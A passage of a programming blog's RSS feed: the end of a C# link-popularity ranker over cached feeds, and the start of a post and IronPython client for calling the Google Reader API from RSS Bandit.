in items from the past week" &lt;/span&gt;: &lt;span style="COLOR: #a31515"&gt;"popular in unread
items"&lt;/span&gt;)); &lt;span style="COLOR: green"&gt;//decide what filter function to use depending
on mode &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Func&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;bool&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;if&lt;/span&gt;(mode &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek)
filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Now &lt;span style="COLOR: red"&gt;- &lt;/span&gt;x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Date &lt;span style="COLOR: red"&gt;&amp;lt; &lt;/span&gt;one_week)
; &lt;span style="COLOR: blue"&gt;else &lt;/span&gt;filterFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Read &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: blue"&gt;false&lt;/span&gt;; &lt;span style="COLOR: green"&gt;//in
mode = 0 each entry linking to an item counts as a vote, in mode != 0 value of vote
depends on item age &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Func&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RssItem&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;double&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;voteFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;if&lt;/span&gt;(mode &lt;span style="COLOR: red"&gt;== &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;MemeMode&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;PopularInPastWeek)
voteFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="COLOR: purple"&gt;1.0 &lt;/span&gt;&lt;span style="COLOR: red"&gt;- &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;DateTime&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Now&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Ticks &lt;span style="COLOR: red"&gt;- &lt;/span&gt;x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Date&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Ticks) &lt;span style="COLOR: red"&gt;* &lt;/span&gt;&lt;span style="COLOR: purple"&gt;1.0 &lt;/span&gt;&lt;span style="COLOR: red"&gt;/ &lt;/span&gt;one_week&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Ticks; &lt;span style="COLOR: blue"&gt;else &lt;/span&gt;voteFunc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;x &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;&lt;span style="COLOR: purple"&gt;1.0&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;di &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;DirectoryInfo&lt;/span&gt;(cache_location); &lt;span style="COLOR: blue"&gt;foreach&lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;fi &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;di&lt;span style="COLOR: red"&gt;.&lt;/span&gt;GetFiles(&lt;span style="COLOR: #a31515"&gt;"*.xml"&lt;/span&gt;)){ &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;doc &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;XElement&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Load(&lt;span style="COLOR: #2b91af"&gt;Path&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Combine(cache_location,
fi&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Name)); &lt;span style="COLOR: green"&gt;// for each
item in feed // 1. Get permalink, title, read status and date // 2. Get list of outgoing
links + link title pairs // 3. Convert above to RssItem object // 4. apply filter
to pick candidate items &lt;/span&gt;&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;items &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;from &lt;/span&gt;rssitem &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;from &lt;/span&gt;itemnode &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;doc&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Descendants(&lt;span style="COLOR: #a31515"&gt;"item"&lt;/span&gt;) &lt;span style="COLOR: blue"&gt;select &lt;/span&gt;MakeRssItem(itemnode)) &lt;span style="COLOR: blue"&gt;where &lt;/span&gt;filterFunc(rssitem) &lt;span style="COLOR: blue"&gt;select &lt;/span&gt;rssitem; &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;feedTitle &lt;span style="COLOR: red"&gt;= &lt;/span&gt;doc&lt;span style="COLOR: red"&gt;.&lt;/span&gt;XPathSelectElement(&lt;span style="COLOR: #a31515"&gt;"channel/title"&lt;/span&gt;)&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value; &lt;span style="COLOR: green"&gt;//
calculate vote for each outgoing url &lt;/span&gt;&lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: #2b91af"&gt;RssItem &lt;/span&gt;item &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;items)
{ &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;vote &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;(){
Weight&lt;span style="COLOR: red"&gt;=&lt;/span&gt;voteFunc(item), Item&lt;span style="COLOR: red"&gt;=&lt;/span&gt;item,
FeedTitle&lt;span style="COLOR: red"&gt;=&lt;/span&gt;feedTitle }; &lt;span style="COLOR: green"&gt;//add
a vote for each of the URLs &lt;/span&gt;&lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;url &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;item&lt;span style="COLOR: red"&gt;.&lt;/span&gt;OutgoingLinks&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Keys)
{ &lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;value &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;null&lt;/span&gt;; &lt;span style="COLOR: blue"&gt;if &lt;/span&gt;(&lt;span style="COLOR: red"&gt;!&lt;/span&gt;all_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;TryGetValue(url, &lt;span style="COLOR: blue"&gt;out &lt;/span&gt;value))
value &lt;span style="COLOR: red"&gt;= &lt;/span&gt;all_links[url] &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Vote&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;();
value&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Add(vote); } }&lt;span style="COLOR: green"&gt;//
foreach (RssItem item in items) &lt;/span&gt;}&lt;span style="COLOR: green"&gt;// foreach(var
fi in di.GetFiles("*.xml")) //tally the votes &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;weighted_links &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;List&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;link_n_votes &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;all_links)
{ &lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;double&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt; &lt;/span&gt;site &lt;span style="COLOR: red"&gt;= &lt;/span&gt;&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Dictionary&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: blue"&gt;string&lt;/span&gt;, &lt;span style="COLOR: blue"&gt;double&lt;/span&gt;&lt;span style="COLOR: red"&gt;&amp;gt;&lt;/span&gt;(); &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;vote &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;link_n_votes&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Value)
{ &lt;span style="COLOR: blue"&gt;double &lt;/span&gt;oldweight; site[vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;FeedTitle] &lt;span style="COLOR: red"&gt;= &lt;/span&gt;site&lt;span style="COLOR: red"&gt;.&lt;/span&gt;TryGetValue(vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;FeedTitle, &lt;span style="COLOR: blue"&gt;out &lt;/span&gt;oldweight) &lt;span style="COLOR: red"&gt;? &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Math&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Min(oldweight,
vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Weight): vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Weight;
} weighted_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Add(&lt;span style="COLOR: blue"&gt;new &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;RankedLink&lt;/span&gt;(){Score&lt;span style="COLOR: red"&gt;=&lt;/span&gt;site&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Values&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Sum(),
Url&lt;span style="COLOR: red"&gt;=&lt;/span&gt;link_n_votes&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Key});
} weighted_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Sort((x, y) &lt;span style="COLOR: red"&gt;=&amp;gt; &lt;/span&gt;y&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Score&lt;span style="COLOR: red"&gt;.&lt;/span&gt;CompareTo(x&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Score)); &lt;span style="COLOR: green"&gt;//output
the results, choose link text from first item we saw story linked from &lt;/span&gt;&lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;ol&amp;gt;"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;foreach&lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;rankedlink &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;weighted_links&lt;span style="COLOR: red"&gt;.&lt;/span&gt;GetRange(&lt;span style="COLOR: purple"&gt;0&lt;/span&gt;, &lt;span style="COLOR: purple"&gt;10&lt;/span&gt;)){ &lt;span style="COLOR: blue"&gt;var &lt;/span&gt;link_text &lt;span style="COLOR: red"&gt;= &lt;/span&gt;(all_links[rankedlink&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Url][&lt;span style="COLOR: purple"&gt;0&lt;/span&gt;])&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Item&lt;span style="COLOR: red"&gt;.&lt;/span&gt;OutgoingLinks[rankedlink&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Url]; &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;li&amp;gt;&amp;lt;a
href='{0}'&amp;gt;{1}&amp;lt;/a&amp;gt; {2}"&lt;/span&gt;, rankedlink&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Url,
link_text, rankedlink&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Score); &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;p&amp;gt;Seen
on:"&lt;/span&gt;); &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;ul&amp;gt;"&lt;/span&gt;); &lt;span style="COLOR: blue"&gt;foreach &lt;/span&gt;(&lt;span style="COLOR: blue"&gt;var &lt;/span&gt;vote &lt;span style="COLOR: blue"&gt;in &lt;/span&gt;all_links[rankedlink&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Url])
{ &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;li&amp;gt;{0}:
&amp;lt;a href='{1}'&amp;gt;{2}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;"&lt;/span&gt;, vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;FeedTitle,
vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Item&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Permalink,
vote&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Item&lt;span style="COLOR: red"&gt;.&lt;/span&gt;Title);
} &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;/ul&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;"&lt;/span&gt;);
} &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;WriteLine(&lt;span style="COLOR: #a31515"&gt;"&amp;lt;/ol&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;"&lt;/span&gt;); &lt;span style="COLOR: #2b91af"&gt;Console&lt;/span&gt;&lt;span style="COLOR: red"&gt;.&lt;/span&gt;ReadLine();
} } }&lt;/pre&gt;&lt;b&gt;Now Playing&lt;/b&gt;: &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lloyd Banks"&gt;Lloyd
Banks&lt;/a&gt; - &lt;a href="http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?artistTerm=Lloyd Banks&amp;amp;songTerm=Boywonder"&gt;Boywonder&lt;/a&gt;&lt;a href="http://11011.net/software/vspaste"&gt;&lt;/a&gt;&lt;img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6" /&gt;</description>
      <comments>http://www.25hoursaday.com/weblog/CommentView,guid,55d9e9c8-9c2d-493c-8d89-0464fbeb7ea6.aspx</comments>
      <category>Programming</category>
    </item>
    <item>
      <trackback:ping>http://www.25hoursaday.com/weblog/Trackback.aspx?guid=d27ebdd5-ea53-4135-ba08-5a99d5c34290</trackback:ping>
      <pingback:server>http://www.25hoursaday.com/weblog/pingback.aspx</pingback:server>
      <pingback:target>http://www.25hoursaday.com/weblog/PermaLink,guid,d27ebdd5-ea53-4135-ba08-5a99d5c34290.aspx</pingback:target>
      <dc:creator />
      <wfw:comment>http://www.25hoursaday.com/weblog/CommentView,guid,d27ebdd5-ea53-4135-ba08-5a99d5c34290.aspx</wfw:comment>
      <wfw:commentRss>http://www.25hoursaday.com/weblog/SyndicationService.asmx/GetEntryCommentsRss?guid=d27ebdd5-ea53-4135-ba08-5a99d5c34290</wfw:commentRss>
      <slash:comments>7</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
A few days ago I blogged about <a href="http://www.25hoursaday.com/weblog/2007/12/28/RSSBanditPhoenixThoughtsIntegratingGoogleReaderAndRSSBandit.aspx">my
plans to make RSS Bandit a desktop client for Google Reader</a>. As part of that process
I needed to verify that it is possible to programmatically interact with Google Reader
from a desktop client in a way that provides a reasonable user experience. To this
end, I wrote a command line client in IronPython based on the <a href="http://code.google.com/p/pyrfeed/wiki/GoogleReaderAPI">documentation
I found at the pyrfeed Website</a>. 
</p>
        <p>
The command line client isn't terribly useful on its own as a way to read your feeds
but it might be useful for other developers who are trying to interact with Google
Reader programmatically who would learn better from  code samples than reverse
engineered API documentation. 
</p>
        <p>
Enjoy...
</p>
        <p>
          <strong>PS:</strong> Note the complete lack of error handling. I never got a hang
of error handling in Python let alone going back and forth between handling errors
in Python vs. handling underlying .NET/CLR errors. 
</p>
        <hr />
        <pre>
          <font face="Lucida,Courier New">
            <font color="#c00000">import</font>
            <font color="#000000">sys</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">IO</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Net</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Text</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Globalization</font>
            <font color="#c00000">import</font>
            <font color="#000000">DateTimeStyles</font>
            <font color="#c00000">import</font>
            <font color="#000000">clr</font>
            <font color="#000000">clr</font>
            <font color="#0000c0">.</font>
            <font color="#000000">AddReference</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"System.Xml"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Xml</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#000000">clr</font>
            <font color="#0000c0">.</font>
            <font color="#000000">AddReference</font>
            <font color="#0000c0">(</font>
            <font color="#004080">"System.Web"</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">from</font>
            <font color="#000000">System</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Web</font>
            <font color="#c00000">import</font>
            <font color="#0000c0">*</font>
            <font color="#008000">################################################################# </font>
            <font color="#008000"># </font>
            <font color="#008000">#
USAGE: ipy greader.py &lt;Gmail username&gt; &lt;password&gt; &lt;path-to-directory-for-storing-feeds&gt; </font>
            <font color="#008000"># </font>
            <font color="#008000">#
username &amp; password are required </font>
            <font color="#008000"># feed directory
location is optional, defaults to C:\Windows\Temp\ </font>
            <font color="#008000">################################################################# </font>
            <font color="#008000">#API
URLs </font>
            <font color="#000000">auth_url</font>
            <font color="#0000c0">=</font>
            <font color="#004080">r<a href="https://www.google.com/accounts/ClientLogin?continue=http://www.google.com&amp;service=reader&amp;source=Carnage4Life&amp;Email=%s&amp;Passwd=%s">https://www.google.com/accounts/ClientLogin?continue=http://www.google.com&amp;service=reader&amp;source=Carnage4Life&amp;Email=%s&amp;Passwd=%s</a></font>
            <font color="#000000">feed_url_prefix</font>
            <font color="#0000c0">=</font>
            <font color="#004080">r<a href="http://www.google.com/reader/atom/">http://www.google.com/reader/atom/</a></font>
            <font color="#000000">api_url_prefix</font>
            <font color="#0000c0">=</font>
            <font color="#004080">r<a href="http://www.google.com/reader/api/0/">http://www.google.com/reader/api/0/</a></font>
            <font color="#000000">feed_cache_prefix</font>
            <font color="#0000c0">=</font>
            <font color="#004080">r"C:\\Windows\Temp\\"</font>
            <font color="#000000">add_url</font>
            <font color="#0000c0">=</font>
            <font color="#004080">r"http://www.google.com/reader/quickadd"</font>
            <font color="#008000">#enumerations </font>
            <font color="#0000c0">(</font>
            <font color="#000000">add_label</font>
            <font color="#0000c0">,</font>
            <font color="#000000">remove_label</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">=</font>
            <font color="#000000">range</font>
            <font color="#0000c0">(</font>
            <font color="#0080c0">1</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">3</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">class</font>
            <font color="#000000">TagList</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Represents
a list of the labels/tags used in Google Reader"""</font>
            <font color="#c00000">def</font>
            <font color="#000000">__init__</font>
            <font color="#0000c0">(</font>
            <font color="#000000">self</font>
            <font color="#0000c0">,</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">labels</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">userid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">userid</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">labels</font>
            <font color="#0000c0">=</font>
            <font color="#000000">labels</font>
            <font color="#c00000">class</font>
            <font color="#000000">SubscriptionList</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Represents
a list of RSS feeds subscriptions"""</font>
            <font color="#c00000">def</font>
            <font color="#000000">__init__</font>
            <font color="#0000c0">(</font>
            <font color="#000000">self</font>
            <font color="#0000c0">,</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">modified</font>
            <font color="#0000c0">=</font>
            <font color="#000000">modified</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feeds</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feeds</font>
            <font color="#c00000">class</font>
            <font color="#000000">Subscription</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Represents
an RSS feed subscription"""</font>
            <font color="#c00000">def</font>
            <font color="#000000">__init__</font>
            <font color="#0000c0">(</font>
            <font color="#000000">self</font>
            <font color="#0000c0">,</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">,</font>
            <font color="#000000">title</font>
            <font color="#0000c0">,</font>
            <font color="#000000">categories</font>
            <font color="#0000c0">,</font>
            <font color="#000000">firstitemmsec</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">feedid</font>
            <font color="#0000c0">=</font>
            <font color="#000000">feedid</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">title</font>
            <font color="#0000c0">=</font>
            <font color="#000000">title</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">categories</font>
            <font color="#0000c0">=</font>
            <font color="#000000">categories</font>
            <font color="#000000">self</font>
            <font color="#0000c0">.</font>
            <font color="#000000">firstitemmsec</font>
            <font color="#0000c0">=</font>
            <font color="#000000">firstitemmsec</font>
            <font color="#c00000">def</font>
            <font color="#000000">MakeHttpPostRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">params</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Performs
an HTTP POST request to a Google service and returns the results in a HttpWebResponse
object"""</font>
            <font color="#000000">req</font>
            <font color="#0000c0">=</font>
            <font color="#000000">HttpWebRequest</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Create</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">)</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Method</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"POST"</font>
            <font color="#000000">SetGoogleCookie</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">encoding</font>
            <font color="#0000c0">=</font>
            <font color="#000000">ASCIIEncoding</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">;</font>
            <font color="#000000">data</font>
            <font color="#0000c0">=</font>
            <font color="#000000">encoding</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetBytes</font>
            <font color="#0000c0">(</font>
            <font color="#000000">params</font>
            <font color="#0000c0">)</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ContentType</font>
            <font color="#0000c0">=</font>
            <font color="#004080">"application/x-www-form-urlencoded"</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">ContentLength</font>
            <font color="#0000c0">=</font>
            <font color="#000000">data</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Length</font>
            <font color="#000000">newStream</font>
            <font color="#0000c0">=</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetRequestStream</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">newStream</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Write</font>
            <font color="#0000c0">(</font>
            <font color="#000000">data</font>
            <font color="#0000c0">,</font>
            <font color="#0080c0">0</font>
            <font color="#0000c0">,</font>
            <font color="#000000">data</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Length</font>
            <font color="#0000c0">)</font>
            <font color="#000000">newStream</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Close</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">resp</font>
            <font color="#0000c0">=</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponse</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#c00000">return</font>
            <font color="#000000">resp</font>
            <font color="#c00000">def</font>
            <font color="#000000">MakeHttpGetRequest</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">:</font>
            <font color="#004080">"""Performs
an HTTP GET request to a Google service and returns the results in an XmlDocument"""</font>
            <font color="#000000">req</font>
            <font color="#0000c0">=</font>
            <font color="#000000">HttpWebRequest</font>
            <font color="#0000c0">.</font>
            <font color="#000000">Create</font>
            <font color="#0000c0">(</font>
            <font color="#000000">url</font>
            <font color="#0000c0">)</font>
            <font color="#000000">SetGoogleCookie</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">,</font>
            <font color="#000000">sid</font>
            <font color="#0000c0">)</font>
            <font color="#000000">reader</font>
            <font color="#0000c0">=</font>
            <font color="#000000">StreamReader</font>
            <font color="#0000c0">(</font>
            <font color="#000000">req</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponse</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">.</font>
            <font color="#000000">GetResponseStream</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#0000c0">)</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">=</font>
            <font color="#000000">XmlDocument</font>
            <font color="#0000c0">(</font>
            <font color="#0000c0">)</font>
            <font color="#000000">doc</font>
            <font color="#0000c0">.</font>
            <font color="#000000">LoadXml</font>
